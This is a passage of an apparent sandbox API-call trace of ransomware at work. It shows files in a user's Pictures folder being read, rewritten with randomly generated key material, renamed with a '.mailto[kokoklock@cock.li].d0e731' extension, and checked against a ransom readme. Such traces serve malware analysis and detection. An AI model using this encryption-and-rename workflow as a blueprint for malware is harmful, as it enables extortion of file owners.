lpBuffer=0xfcbf880*, lpNumberOfBytesRead=0xfcbf87c*=0x4, lpOverlapped=0x0) returned 1 [0065.979] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0065.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be870 [0065.979] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8e8 [0065.979] NtQuerySystemTime (in: CurrentTime=0xfcbf858 | out: CurrentTime=0xfcbf858*=132121176238778511) returned 0x0 [0065.979] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x54e1e0fa [0065.979] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x1dadf5ae [0065.979] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x73e3983e [0065.979] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xfdab0583 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x3b67bae6 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xb9adf279 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xab0e991d [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x45664150 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xc710b8df [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x678cdf18 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x87efeab8 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x4f42e4cf [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x2d0e21dd [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xc4a75403 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x638bf56a [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x7e7d4179 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x50aa0d44 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xae9ec55a [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x4f8fdfb0 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xbee04bd9 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x1b075abc [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xef79c7fb [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x4f85acfa [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xe4df0e86 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xbb15f425 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xe26a2cdc [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xfcbd153d [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x4088e4c4 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x9956362c [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0xd0ea5a88 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x424690a6 [0065.980] RtlRandom (in: Seed=0xfcbf864 | out: Seed=0xfcbf864) returned 0x548f0223 [0065.991] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x18ab, lpNumberOfBytesRead=0xfcbf858, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xfcbf858*=0x18ab, lpOverlapped=0x0) returned 1 [0065.991] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xfcbf820 | out: lpNewFilePointer=0x0) returned 1 [0065.991] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x18ab, lpNumberOfBytesWritten=0xfcbf854, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xfcbf854*=0x18ab, lpOverlapped=0x0) returned 1 [0065.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0065.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.991] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be938*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfcbf850, lpOverlapped=0x0 | out: lpBuffer=0x34be938*, lpNumberOfBytesWritten=0xfcbf850*=0x20, lpOverlapped=0x0) returned 1 [0065.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0065.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.991] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xfcbf87c, lpOverlapped=0x0 | out: lpBuffer=0x34be960*, lpNumberOfBytesWritten=0xfcbf87c*=0x8, lpOverlapped=0x0) returned 1 [0065.992] WriteFile (in: hFile=0x7c8, lpBuffer=0xfcbf894*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfcbf87c, lpOverlapped=0x0 | out: lpBuffer=0xfcbf894*, lpNumberOfBytesWritten=0xfcbf87c*=0x4, lpOverlapped=0x0) returned 1 [0065.992] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfcbf87c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xfcbf87c*=0x4, lpOverlapped=0x0) returned 1 [0065.992] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xfcbf87c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xfcbf87c*=0x6c, lpOverlapped=0x0) returned 1 [0065.992] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfcbf87c, lpOverlapped=0x0 | out: lpBuffer=0x34be870*, lpNumberOfBytesWritten=0xfcbf87c*=0x20, lpOverlapped=0x0) returned 1 [0065.992] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfcbf87c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xfcbf87c*=0x4, lpOverlapped=0x0) returned 1 [0065.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0065.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be910) returned 1 [0065.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be960) returned 1 [0065.992] CloseHandle (hObject=0x7c8) returned 1 [0065.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb270 [0065.993] wcscpy (in: _Dest=0x33eb270, _Source="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif") returned="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif" [0065.993] wcscat (in: _Dest=0x33eb270, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731" [0065.993] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\nh7z83zmbfhc.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\nh7z83zmbfhc.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.994] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0065.994] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif", dwFileAttributes=0x20) returned 0 [0065.994] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481f78 [0065.994] wcscpy (in: _Dest=0x3481f78, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.994] wcscat (in: _Dest=0x3481f78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.994] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f78) returned 1 [0065.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482158) returned 1 [0065.994] RtlExitUserThread (Status=0x1) Thread: id = 350 os_tid = 0x13f0 [0065.995] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\niew.bmp")) returned 0x20 [0065.995] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp", dwFileAttributes=0x20) returned 1 [0065.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\niew.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.996] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xfd3fc08 | out: lpFileSize=0xfd3fc08*=77499) returned 1 [0065.996] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x12eb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.996] ReadFile (in: hFile=0x7c8, lpBuffer=0xfd3fbdc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfd3fbd8, lpOverlapped=0x0 | out: lpBuffer=0xfd3fbdc*, lpNumberOfBytesRead=0xfd3fbd8*=0x4, lpOverlapped=0x0) returned 1 [0065.996] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0065.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be870 [0065.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be910 [0065.996] NtQuerySystemTime (in: CurrentTime=0xfd3fbb4 | out: CurrentTime=0xfd3fbb4*=132121176238938461) returned 0x0 [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0xf2d242a2 [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x1fe8b1ec [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x7f668b83 [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0xcd5aa10a [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0xffeb772b [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x5b6e533a [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x4883a175 [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0xeea871f1 [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x837fb42a [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x51699183 [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0xaf500390 [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x96af78d2 [0065.996] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0xa9a895c7 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0xe5cd7c6 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0xf4c17648 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0xd2e60c44 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x1ffc8502 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0xd0d75bf8 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x996ac0d7 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x65cb4892 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x1f7f6ef [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0xfbba0769 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x14f63a60 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x393eacab [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x24bd0f32 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x95b49506 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x9cd52bc9 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x43656a53 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0xb5ac669c [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x65f5616 [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x278773ad [0065.997] RtlRandom (in: Seed=0xfd3fbc0 | out: Seed=0xfd3fbc0) returned 0x556c2a7b [0066.009] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.009] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xfd3fb8c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xfd3fb8c*=0x4096, lpOverlapped=0x0) returned 1 [0066.009] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.009] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.009] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0066.009] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0066.009] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0066.010] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0066.010] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0066.010] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be578 [0066.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be578) returned 1 [0066.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.010] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xfd3fb8c, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xfd3fb8c*=0x4096, lpOverlapped=0x0) returned 1 [0066.010] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0066.011] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x12ebb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.011] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be938*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfd3fbc4, lpOverlapped=0x0 | out: lpBuffer=0x34be938*, lpNumberOfBytesWritten=0xfd3fbc4*=0x20, lpOverlapped=0x0) returned 1 [0066.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0066.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.011] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be4b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xfd3fbd8, lpOverlapped=0x0 | out: lpBuffer=0x34be4b0*, lpNumberOfBytesWritten=0xfd3fbd8*=0x8, lpOverlapped=0x0) returned 1 [0066.011] WriteFile (in: hFile=0x7c8, lpBuffer=0xfd3fbf0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfd3fbd8, lpOverlapped=0x0 | out: lpBuffer=0xfd3fbf0*, lpNumberOfBytesWritten=0xfd3fbd8*=0x4, lpOverlapped=0x0) returned 1 [0066.011] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfd3fbd8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xfd3fbd8*=0x4, lpOverlapped=0x0) returned 1 [0066.011] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xfd3fbd8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xfd3fbd8*=0x6c, lpOverlapped=0x0) returned 1 [0066.011] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfd3fbd8, lpOverlapped=0x0 | out: lpBuffer=0x34be870*, lpNumberOfBytesWritten=0xfd3fbd8*=0x20, lpOverlapped=0x0) returned 1 [0066.011] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xfd3fbd8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xfd3fbd8*=0x4, lpOverlapped=0x0) returned 1 [0066.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0066.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be960) returned 1 [0066.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0066.011] CloseHandle (hObject=0x7c8) returned 1 [0066.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e2c30 [0066.014] wcscpy (in: _Dest=0x33e2c30, _Source="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp" [0066.014] wcscat (in: _Dest=0x33e2c30, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731" [0066.014] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\niew.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\niew.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.014] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2c30) returned 1 [0066.015] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp", dwFileAttributes=0x20) returned 0 [0066.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0066.015] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0066.015] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0066.015] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0066.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0066.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481078) returned 1 [0066.015] RtlExitUserThread (Status=0x1) Thread: id = 351 os_tid = 0x13f4 [0066.016] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png" (normalized: "c:\\users\\fd1hvy\\pictures\\oqgnq6ubacgxmb97zti.png")) returned 0x20 [0066.016] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png", dwFileAttributes=0x20) returned 1 [0066.017] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png" (normalized: "c:\\users\\fd1hvy\\pictures\\oqgnq6ubacgxmb97zti.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0066.017] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xfdbf73c | out: lpFileSize=0xfdbf73c*=82135) returned 1 [0066.017] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x140d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.017] ReadFile (in: hFile=0x7c8, lpBuffer=0xfdbf710, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfdbf70c, lpOverlapped=0x0 | out: lpBuffer=0xfdbf710*, lpNumberOfBytesRead=0xfdbf70c*=0x4, lpOverlapped=0x0) returned 1 [0066.017] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.017] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0066.017] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0066.017] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be578 [0066.017] NtQuerySystemTime (in: CurrentTime=0xfdbf6e8 | out: CurrentTime=0xfdbf6e8*=132121176239090639) returned 0x0 [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x25df3adb [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xa0dad5c2 [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x3ad0d8cf [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xb9af7da2 [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x70026977 [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xeaf429dd [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x7fe74c2c [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x7ea0a04d [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x426bef40 [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x9f3ad1b2 [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xb65cafbd [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x9364d834 [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xaa072b14 [0066.017] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xc83a1b8b [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xec8daab6 [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x90e48274 [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xe01ad9b3 [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xfc1d1fc4 [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x1840a154 [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xb5221943 [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xa22cb739 [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x6e04cfbe [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x6dfc6fc1 [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xa643d10 [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x23e623b9 [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0xb2dd206e [0066.018] RtlRandom (in: Seed=0xfdbf6f4 | out: Seed=0xfdbf6f4) returned 0x3944db16 [0066.018] RtlRandom (in: 